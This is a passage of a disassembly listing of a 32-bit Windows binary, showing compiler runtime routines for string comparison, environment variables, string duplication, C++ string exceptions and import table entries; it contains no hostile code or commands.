		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_421BE7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_421BE7:				; CODE XREF: sub_4219AF+224j
		cmp	edi, ebx
		jz	short loc_421C18
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_421C18
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423008	; CompareStringW
		jmp	short loc_421C1A
; ---------------------------------------------------------------------------


loc_421C18:				; CODE XREF: sub_4219AF+63j
					; sub_4219AF+C6j ...
		xor	eax, eax


loc_421C1A:				; CODE XREF: sub_4219AF+BFj
					; sub_4219AF+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4219AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C2C	proc near		; CODE XREF: sub_421941+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_421C90
		push	3Dh
		push	[ebp+arg_0]
		call	sub_421E72
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_421C90
		cmp	[ebp+arg_0], esi
		jz	short loc_421C90
		mov	eax, dword_4D86F8
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4D86FC
		jnz	short loc_421C76
		push	eax
		call	sub_421E0B
		pop	ecx
		mov	dword_4D86F8, eax


loc_421C76:				; CODE XREF: sub_421C2C+3Cj
		cmp	eax, edi
		jnz	short loc_421CCE
		cmp	[ebp+arg_4], edi
		jz	short loc_421C98
		cmp	dword_4D8700, edi
		jz	short loc_421C98
		call	sub_421941
		test	eax, eax
		jz	short loc_421CCE


loc_421C90:				; CODE XREF: sub_421C2C+Dj
					; sub_421C2C+22j ...
		or	eax, 0FFFFFFFFh


loc_421C93:				; CODE XREF: sub_421C2C+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C98:				; CODE XREF: sub_421C2C+51j
					; sub_421C2C+59j
		cmp	ebx, edi
		jnz	loc_421DAC
		push	4
		call	sub_417A2B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D86F8, eax
		jz	short loc_421C90
		mov	[eax], edi
		cmp	dword_4D8700, edi
		jnz	short loc_421CCE
		push	4
		call	sub_417A2B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D8700, eax
		jz	short loc_421C90
		mov	[eax], edi


loc_421CCE:				; CODE XREF: sub_421C2C+4Cj
					; sub_421C2C+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4D86F8
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_421DB3
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_421D2E
		cmp	dword ptr [edi], 0
		jz	short loc_421D2E
		test	ebx, ebx
		jz	short loc_421D26
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_4177C1
		pop	ecx


loc_421D00:				; CODE XREF: sub_421C2C+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_421D10
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_421D00
; ---------------------------------------------------------------------------


loc_421D10:				; CODE XREF: sub_421C2C+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4178D8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_421D60
		jmp	short loc_421D5B
; ---------------------------------------------------------------------------


loc_421D26:				; CODE XREF: sub_421C2C+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_421D60
; ---------------------------------------------------------------------------


loc_421D2E:				; CODE XREF: sub_421C2C+BDj
					; sub_421C2C+C2j
		test	ebx, ebx
		jnz	short loc_421DAC
		test	esi, esi
		jge	short loc_421D38
		neg	esi


loc_421D38:				; CODE XREF: sub_421C2C+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4178D8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_421C90
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_421D5B:				; CODE XREF: sub_421C2C+F8j
		mov	dword_4D86F8, eax


loc_421D60:				; CODE XREF: sub_421C2C+F6j
					; sub_421C2C+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_421DAC
		push	[ebp+arg_0]
		call	sub_4176F0
		inc	eax
		inc	eax
		push	eax
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_421DAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4183B0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_423004	; SetEnvironmentVariableA
		push	esi
		call	sub_4177C1
		pop	ecx


loc_421DAC:				; CODE XREF: sub_421C2C+6Ej
					; sub_421C2C+104j ...
		xor	eax, eax
		jmp	loc_421C93
sub_421C2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DB3	proc near		; CODE XREF: sub_421C2C+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4D86F8
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421DEE
		mov	edi, [esp+8+arg_4]


loc_421DC5:				; CODE XREF: sub_421DB3+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_421902
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421DE4
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_421DFE
		test	al, al
		jz	short loc_421DFE


loc_421DE4:				; CODE XREF: sub_421DB3+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_421DC5


loc_421DEE:				; CODE XREF: sub_421DB3+Cj
		mov	eax, esi
		sub	eax, dword_4D86F8
		sar	eax, 2
		neg	eax


loc_421DFB:				; CODE XREF: sub_421DB3+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421DFE:				; CODE XREF: sub_421DB3+2Bj
					; sub_421DB3+2Fj
		mov	eax, esi
		sub	eax, dword_4D86F8
		sar	eax, 2
		jmp	short loc_421DFB
sub_421DB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E0B	proc near		; CODE XREF: sub_421C2C+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_421E1A
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_421E1A:				; CODE XREF: sub_421E0B+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_421E2C


loc_421E22:				; CODE XREF: sub_421E0B+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_421E22


loc_421E2C:				; CODE XREF: sub_421E0B+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_421E4D
		push	9
		call	sub_419D79
		pop	ecx


loc_421E4D:				; CODE XREF: sub_421E0B+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_421E51:				; CODE XREF: sub_421E0B+5Bj
		test	eax, eax
		jz	short loc_421E68
		push	eax
		add	ebx, 4
		call	sub_421EE5
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_421E51
; ---------------------------------------------------------------------------


loc_421E68:				; CODE XREF: sub_421E0B+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_421E0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E72	proc near		; CODE XREF: sub_421C2C+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4D9B3C, 0
		jnz	short loc_421E8D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4184B0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421E8D:				; CODE XREF: sub_421E72+Aj
		mov	ecx, [ebp+arg_0]


loc_421E90:				; CODE XREF: sub_421E72+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_421ED3
		movzx	edx, al
		test	byte_4D9C41[edx], 4
		jz	short loc_421EBF
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_421ECA
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_421ECE
		jmp	short loc_421EC7
; ---------------------------------------------------------------------------


loc_421EBF:				; CODE XREF: sub_421E72+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_421ED3


loc_421EC7:				; CODE XREF: sub_421E72+4Bj
		inc	ecx
		jmp	short loc_421E90
; ---------------------------------------------------------------------------


loc_421ECA:				; CODE XREF: sub_421E72+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421ECE:				; CODE XREF: sub_421E72+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421ED3:				; CODE XREF: sub_421E72+25j
					; sub_421E72+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_421E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE5	proc near		; CODE XREF: sub_414FC3+21p
					; sub_421E0B+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_421F0C
		push	esi
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_417A2B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_421F0C
		push	esi
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421F0C:				; CODE XREF: sub_421EE5+7j
					; sub_421EE5+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_421EE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_40C5BB+15p
					; sub_40C614+15p ...
		mov	eax, offset loc_422408
		call	sub_419164
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40C7BE
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40C7FA
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_421F6A
		lea	eax, [ebp-3Ch]
		push	offset dword_424010
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_423CCC
		call	sub_422371
		pop	esi
sub_421F10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421F6A	proc near		; CODE XREF: sub_421F10+3Fp
					; sub_42213C+3Fp
		mov	eax, offset loc_42241C
		call	sub_419164
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_43B9B8
		call	sub_422296
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40C7BE
		push	dword_423680
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40C66B
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_423CEC
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_421F6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_421FCE	proc near		; DATA XREF: .nsp0:00423CD0o
					; .nsp0:00423CF0o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_421FDA
		mov	eax, offset dword_423690

locret_421FDA:				; CODE XREF: sub_421FCE+5j
		retn
sub_421FCE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_422051
		lea	eax, [ebp-1Ch]
		push	offset dword_424080
		push	eax
		call	sub_422371

; =============== S U B	R O U T	I N E =======================================



sub_421FF8	proc near		; CODE XREF: .nsp0:00422038p
					; DATA XREF: .nsp0:00424084o
		mov	eax, offset loc_422430
		call	sub_419164
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_423CEC
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42231D
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_421FF8	endp

; ---------------------------------------------------------------------------


loc_422035:				; DATA XREF: .nsp0:off_423CECo
		push	esi
		mov	esi, ecx
		call	sub_421FF8
		test	byte ptr [esp+8], 1
		jz	short loc_42204B
		push	esi
		call	sub_419183
		pop	ecx


loc_42204B:				; CODE XREF: .nsp0:00422042j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422051	proc near		; CODE XREF: .nsp0:00421FE5p
					; sub_422124+7p ...
		mov	eax, offset loc_422444
		call	sub_419164
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_4222D3
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_40C7BE
		push	dword_423680
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40C66B
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_423CEC
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_422051	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220AE	proc near		; CODE XREF: .nsp0:0042210Bp
					; DATA XREF: .nsp0:00424014o
		mov	eax, offset loc_422458
		call	sub_419164
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_423CEC
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42231D
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4220AE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_422124
		lea	eax, [ebp-1Ch]
		push	offset dword_424010
		push	eax
		call	sub_422371


loc_422108:				; DATA XREF: .nsp0:off_423CCCo
		push	esi
		mov	esi, ecx
		call	sub_4220AE
		test	byte ptr [esp+8], 1
		jz	short loc_42211E
		push	esi
		call	sub_419183
		pop	ecx


loc_42211E:				; CODE XREF: .nsp0:00422115j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422124	proc near		; CODE XREF: .nsp0:004220F5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_422051
		mov	dword ptr [esi], offset	off_423CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_422124	endp


; =============== S U B	R O U T	I N E =======================================



sub_42213C	proc near		; CODE XREF: sub_40C66B+13p
					; sub_40C82F+Ep
		mov	eax, offset loc_42246C
		call	sub_419164
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40C7BE
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40C7FA
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_421F6A
		lea	eax, [ebp-3Ch]
		push	offset dword_424138
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_423CFC
		call	sub_422371
		pop	esi
sub_42213C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422196	proc near		; CODE XREF: sub_4221D3+20p
					; DATA XREF: .nsp0:0042413Co
		mov	eax, offset loc_422480
		call	sub_419164
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_423CEC
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42231D
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_422196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221D3	proc near		; DATA XREF: .nsp0:00423D04o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_42220C
		lea	eax, [ebp+var_1C]
		push	offset dword_424138
		push	eax
		call	sub_422371


loc_4221F0:				; DATA XREF: .nsp0:off_423CFCo
		push	esi
		mov	esi, ecx
		call	sub_422196
		test	[esp+20h+var_18], 1
		jz	short loc_422206
		push	esi
		call	sub_419183
		pop	ecx


loc_422206:				; CODE XREF: sub_4221D3+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_4221D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42220C	proc near		; CODE XREF: sub_4221D3+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_422051
		mov	dword ptr [esi], offset	off_423CFC
		mov	eax, esi
		pop	esi
		retn	4
sub_42220C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422224	proc near		; DATA XREF: .nsp0:00425014o

; FUNCTION CHUNK AT 0042225A SIZE 0000000C BYTES

		test	byte_4D89DC, 1
		jnz	short loc_422234
		or	byte_4D89DC, 1


loc_422234:				; CODE XREF: sub_422224+7j
		call	sub_42224E
		test	byte_4D9D78, 1
		jnz	short loc_422249
		or	byte_4D9D78, 1


loc_422249:				; CODE XREF: sub_422224+1Cj
		jmp	loc_42225A
sub_422224	endp


; =============== S U B	R O U T	I N E =======================================



sub_42224E	proc near		; CODE XREF: sub_422224:loc_422234p
		push	offset nullsub_1
		call	sub_419540
		pop	ecx
		retn
sub_42224E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422224


loc_42225A:				; CODE XREF: sub_422224:loc_422249j
		push	offset nullsub_1
		call	sub_419540
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_422224
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422268	proc near		; CODE XREF: sub_40CAA5+6Cp
		jmp	dword_4231BC
sub_422268	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42226E	proc near		; CODE XREF: sub_40BF41+5Ep
					; sub_40DA9B+14Ap ...
		jmp	dword_423210
sub_42226E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422274	proc near		; CODE XREF: sub_418DD0+23p
					; sub_419074+13p
		jmp	dword_423184
sub_422274	endp


; =============== S U B	R O U T	I N E =======================================



sub_42227A	proc near		; DATA XREF: .nsp0:off_423D24o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_42231D
		test	[esp+4+arg_0], 1
		jz	short loc_422290
		push	esi
		call	sub_419183
		pop	ecx


loc_422290:				; CODE XREF: sub_42227A+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42227A	endp


; =============== S U B	R O U T	I N E =======================================



sub_422296	proc near		; CODE XREF: sub_421F6A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_423D24
		push	dword ptr [edi]
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4222C5
		push	dword ptr [edi]
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_4222C5:				; CODE XREF: sub_422296+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422296	endp


; =============== S U B	R O U T	I N E =======================================



sub_4222D3	proc near		; CODE XREF: sub_422051+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_423D24
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422310
		push	dword ptr [edi+4]
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422316
		push	dword ptr [edi+4]
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx
		jmp	short loc_422316
; ---------------------------------------------------------------------------


loc_422310:				; CODE XREF: sub_4222D3+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_422316:				; CODE XREF: sub_4222D3+2Ej
					; sub_4222D3+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4222D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42231D	proc near		; CODE XREF: sub_421FF8+2Bp
					; sub_4220AE+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_423D24
		jz	short locret_422332
		push	dword ptr [ecx+4]
		call	sub_419183
		pop	ecx

locret_422332:				; CODE XREF: sub_42231D+Aj
		retn
sub_42231D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422333	proc near		; DATA XREF: .nsp0:00423D28o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_42233F
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_42233F:				; CODE XREF: sub_422333+5j
		retn
sub_422333	endp


; =============== S U B	R O U T	I N E =======================================



sub_422340	proc near		; CODE XREF: .nsp0:00422358p
		mov	dword ptr [ecx], offset	off_423D44
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422354
		push	ecx
		call	sub_4177C1
		pop	ecx

locret_422354:				; CODE XREF: sub_422340+Bj
		retn
sub_422340	endp

; ---------------------------------------------------------------------------


loc_422355:				; DATA XREF: .nsp0:off_423D44o
		push	esi
		mov	esi, ecx
		call	sub_422340
		test	byte ptr [esp+8], 1
		jz	short loc_42236B
		push	esi
		call	sub_419183
		pop	ecx


loc_42236B:				; CODE XREF: .nsp0:00422362j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422371	proc near		; CODE XREF: sub_421F10+54p
					; .nsp0:00421FF3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_423D48
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42305C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_422371	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4223AC	proc near		; DATA XREF: .nsp0:00423F14o

; FUNCTION CHUNK AT 0040C5B3 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40C5B3
sub_4223AC	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4223CA
		mov	ecx, [ebp+8]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------

locret_4223CA:				; CODE XREF: .nsp0:004223BCj
		retn
; ---------------------------------------------------------------------------


loc_4223CB:				; DATA XREF: sub_40C17Do
		mov	eax, offset dword_423EE8
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_4223E0:				; DATA XREF: .nsp0:00423F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_4223E8:				; DATA XREF: sub_40C31Fo
		mov	eax, offset dword_423F18
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4


loc_4223F4:				; DATA XREF: sub_40C896o
		mov	eax, offset dword_423F48
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_422408:				; DATA XREF: sub_421F10o
		mov	eax, offset dword_424020
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_42241C:				; DATA XREF: sub_421F6Ao
		mov	eax, offset dword_424048
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422430:				; DATA XREF: sub_421FF8o
		mov	eax, offset dword_424090
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422444:				; DATA XREF: sub_422051o
		mov	eax, offset dword_4240B8
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422458:				; DATA XREF: sub_4220AEo
		mov	eax, offset dword_4240E0
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_42246C:				; DATA XREF: sub_42213Co
		mov	eax, offset dword_424148
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422480:				; DATA XREF: sub_422196o
		mov	eax, offset dword_424170
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		dd 2DDh	dup(0)
dword_423000	dd 77E79424h		; DATA XREF: sub_40EA69+27Br
dword_423004	dd 77E6BD68h		; DATA XREF: sub_421C2C+173r
dword_423008	dd 77E77F2Eh		; DATA XREF: sub_4219AF+3Er
					; sub_4219AF+261r
dword_42300C	dd 77E762D0h		; DATA XREF: sub_4219AF+5Br
					; sub_4219AF+B9r
dword_423010	dd 77E70192h		; DATA XREF: sub_4209B6+F9r
dword_423014	dd 77E7176Ch		; DATA XREF: sub_420288+8r
dword_423018	dd 77E7339Ch		; DATA XREF: sub_420250+Cr
dword_42301C	dd 77E7C9E7h		; DATA XREF: sub_420232+5r
					; sub_420243+6r
dword_423020	dd 77E7C866h		; DATA XREF: sub_41F7CD+3Fr
					; sub_41F7CD+12Dr
dword_423024	dd 77E641EBh		; DATA XREF: sub_41F7CD+59r
					; sub_41F7CD+8Dr
dword_423028	dd 77E73FF9h		; DATA XREF: sub_41F213+2Cr
dword_42302C	dd 77E7FF2Eh		; DATA XREF: sub_41F0E5:loc_41F135r
